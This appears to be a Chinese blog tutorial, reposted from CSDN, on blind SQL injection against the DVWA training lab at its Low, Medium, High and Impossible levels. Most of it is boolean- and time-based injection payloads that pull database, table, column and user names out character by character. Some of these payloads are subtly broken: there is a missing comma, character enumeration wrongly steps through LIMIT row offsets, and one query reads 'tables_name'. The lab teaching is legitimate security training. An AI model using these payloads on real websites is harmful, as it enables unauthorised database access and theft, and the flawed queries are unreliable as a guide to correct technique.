Kali渗透测试之DVWA系列8——SQL Injection(Blind)(SQL盲注)

目录

一、SQL盲注

1、SQL盲注与SQL注入的区别

2、SQL盲注的过程

二、实验环境

三、实验过程

基于布尔值的盲注

基于时间的盲注


一、SQL盲注

1、SQL盲注与SQL注入的区别

  • 盲注:目标只会回复是或不是,没有详细内容
  • 注入:可以查看到详细的内容

2、SQL盲注的过程

1、判断是否存在注入,注入是字符型还是数字型

2、猜解当前数据库名

猜解数据库名的长度——>猜解数据库名的名称

3、猜解数据库中的表名

猜解库中有几个表——>猜解表名的长度——>猜解表的名称

4、猜解表中的字段名

猜解表中有几个字段——>猜解字段的长度——>猜解字段的名称

5、猜解数据

二、实验环境

1、测试机:物理机Windows 10,远程登录DVWA;安装BurpSuite

2、DVWA服务器:Windows Server 2003(192.168.247.129),启动phpStudy。

三、实验过程

基于布尔值的盲注

安全等级:LOW

查看源码

Low级别的代码对参数id的内容没有做任何检查、过滤,存在明显的SQL注入漏洞;

同时SQL语句查询返回的结果只有两种:

  • User ID exists in the database
  • User ID is MISSING from the database

1、判断是否存在注入,注入是字符型还是数据型

输入 1' and '1'='1 ,查询成功,说明存在字符型SQL注入

2、猜解当前数据库名

2.1 猜解数据库名的长度

1' and length(database())=1 #     // 设数据库长度为1,报错

1' and length(database())=4 #      //数据库名长度为4

2.2 猜解数据库的名称

  • 1' and ascii(substr(database(),1,1))=100 #     d
  • 1' and ascii(substr(database(),2,1))=118 #     v
  • 1' and ascii(substr(database(),3,1))=119 #     w
  • 1' and ascii(substr(database(),4,1))=97 #      a

3、猜解数据库中的表名

3.1 猜解库中有几个表

1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=2 #    //有2个表

3.2 猜解表名的长度

1' and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=9 #     //猜解第一个表名的长度为9

3.3 确定表的名称(guestbook,users)

  • 1’ and ascii(substr((select table_name from information_schema.tables where table_schema=’dvwa’ limit 0,1),1))=103 #     //g
  • 1’ and ascii(substr((select table_name from information_schema.tables where table_schema=’dvwa’ limit 1,1),1))=117 #     //u
  • 1’ and ascii(substr((select table_name from information_schema.tables where table_schema=’dvwa’ limit 2,1),1))=101 #     //e
  • 以此类推,进行查询

4、猜解users表中的字段名

4.1 猜解users表中有几个字段

1' and (select count(column_name) from information_schema.columns where table_name='users')=8 #    //users表中有8个字段

4.2 猜解字段名的长度

1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1))=4 #      //猜解第3个字段的长度

4.3 确定字段的名称(user)

  • 1’ and ascii(substr((select column_name from information_schema.columns where table_name=’users’ limit 0,1),1))=117 #     //u
  • 1’ and ascii(substr((select column_name from information_schema.columns where table_name=’users’ limit 1,1),1))=115 #     //s
  • 1’ and ascii(substr((select column_name from information_schema.columns where table_name=’users’ limit 2,1),1))=101 #     //e
  • 1’ and ascii(substr((select column_name from information_schema.columns where table_name=’users’ limit 3,1),1))=114 #     //r

5、猜解数据(admin)

  • 1’ and ascii(substr((select user from users limit 0,1)1,1))=97 #      //a
  • 1’ and ascii(substr((select user from users limit 1,1)1,1))=100 #    //d
  • 1’ and ascii(substr((select user from users limit 2,1)1,1))=109 #    //m
  • 1’ and ascii(substr((select user from users limit 3,1)1,1))=105 #    //i
  • 1’ and ascii(substr((select user from users limit 4,1)1,1))=110 #    //n

安全等级:Medium

查看源码

       可以看到,Medium级别的代码利用mysql_real_escape_string函数对特殊符号\x00、\n、\r、\、’、”、\x1a等进行转义;存在数字型SQL注入;同时设置了下拉选择表单,控制用户的输入,由下图可以看出,用户只能选择1-5。

       安全等级为Medium时,只能进行选择,所以使用BurpSuite进行拦截,在数据包中修改id值,然后在Response中的Render下查看结果。

1、猜解当前数据库名

1.1 猜解数据库名的长度(dvwa)

1 and length(database())=4    //数据库名长度为4

如果输入的数据库名的长度不对,则会进行报错。

1 and length(database())=5,返回结果为User ID is MISSING from the database

1.2 猜解数据库的名称

1 and ascii(substr(database(),1,1))=100        //d

接下来的操作与Low级别基本上相似。由于Medium级别的注入是数字型的,所以不需要单引号 ' 。也不需要最后的 # ,操作如上所示。

安全等级:High

查看源码

High级别在SQL查询语句中添加了LIMIT 1,以此控制只输入一个结果,我们可以通过 # 将其注释掉;

1、猜解当前数据库名

1.1 猜解数据库名的长度

1' and length(database())=4 #

接下来的操作与low级别一样。由于在源码中限制了输入的长度为1,所以需要在输入的最后加个#,就可以注释掉源码中的LIMIT 1;

在High级别中,不适合用基于时间的盲注,因为High级别的源码中显示,不论猜解正确或者错误,都会sleep(rand(2,4))。如果将时间盲注的时间设置10s左右,太浪费时间。

安全等级:Impossible

查看源码

Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入;同时只有当返回的查询结果数量为1时,才会输出。

基于时间的盲注

安全等级:LOW

  • 基于时间的盲注,根据有无延迟来判断,不根据提示语来判断;如果网络有延迟会有影响,建议多试几次;
  • 时间盲注与基于布尔值的盲注的源码一样,在此不再进行源码分析。

1、判断是否存在注入点

1’ and sleep(5) #       //如果有延迟,则证明存在SQL注入,且为字符型

2、猜解当前数据库名

2.1 猜解数据库名的长度

1' and if(length(database())=4,sleep(5),1) #    //数据库名的长度为4

2.2 猜解数据库的名称(dvwa)

  • 1' and if(ascii(substr(database(),1,1))=100,sleep(5),1) #     //d
  • 1' and if(ascii(substr(database(),2,1))=118,sleep(5),1) #     //v
  • 1' and if(ascii(substr(database(),3,1))=119,sleep(5),1) #     //w
  • 1' and if(ascii(substr(database(),4,1))=97,sleep(5),1) #       //a

3、猜解数据库中的表名

3.1 猜解库中有几个表(2个)

1' and if((select count(table_name) from information_schema.tables where table_schema='dvwa')=2,sleep(5),1) #

3.2 猜解表名的长度(第一个表长度为9)

1' and if(length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=9,sleep(5),1) #

3.3 猜解表的名称(第一个表为guestbook;第二个表为users)

  • 1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema=’dvwa’ limit 0,1),1))=103,sleep(5),1) #    //g
  • 1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema=’dvwa’ limit 1,1),1))=117,sleep(5),1) #    //u
  • 以此类推,逐个猜解出来

4、猜解表中的字段名

4.1 猜解表中有几个字段(8个字段)

1' and if ((select count(column_name) from information_schema.columns where tables_name='users')=8,sleep(5),1) #

4.2 猜解第三个字段的长度

1' and if(length(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1))=4,sleep(5),1) #       //长度为4

4.3 猜解字段的名称(第三个字段为user)

  • 1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=117,sleep(5),1) #     //u
  • 以此类推,逐个猜解

5、猜解数据(数据为admin)

1' and if(ascii(substr((select user from users limit 0,1),1,1))=97,sleep(5),1) #    //a

安全等级:Medium

使用Burp Suite进行拦截,修改其id值,查看其效果。

安全等级:High

源码:此时结果错误的话,也会睡眠2-4秒;从而无法判断SQL盲注是否成功。

 

 

猜你喜欢

转载自blog.csdn.net/weixin_43625577/article/details/90110672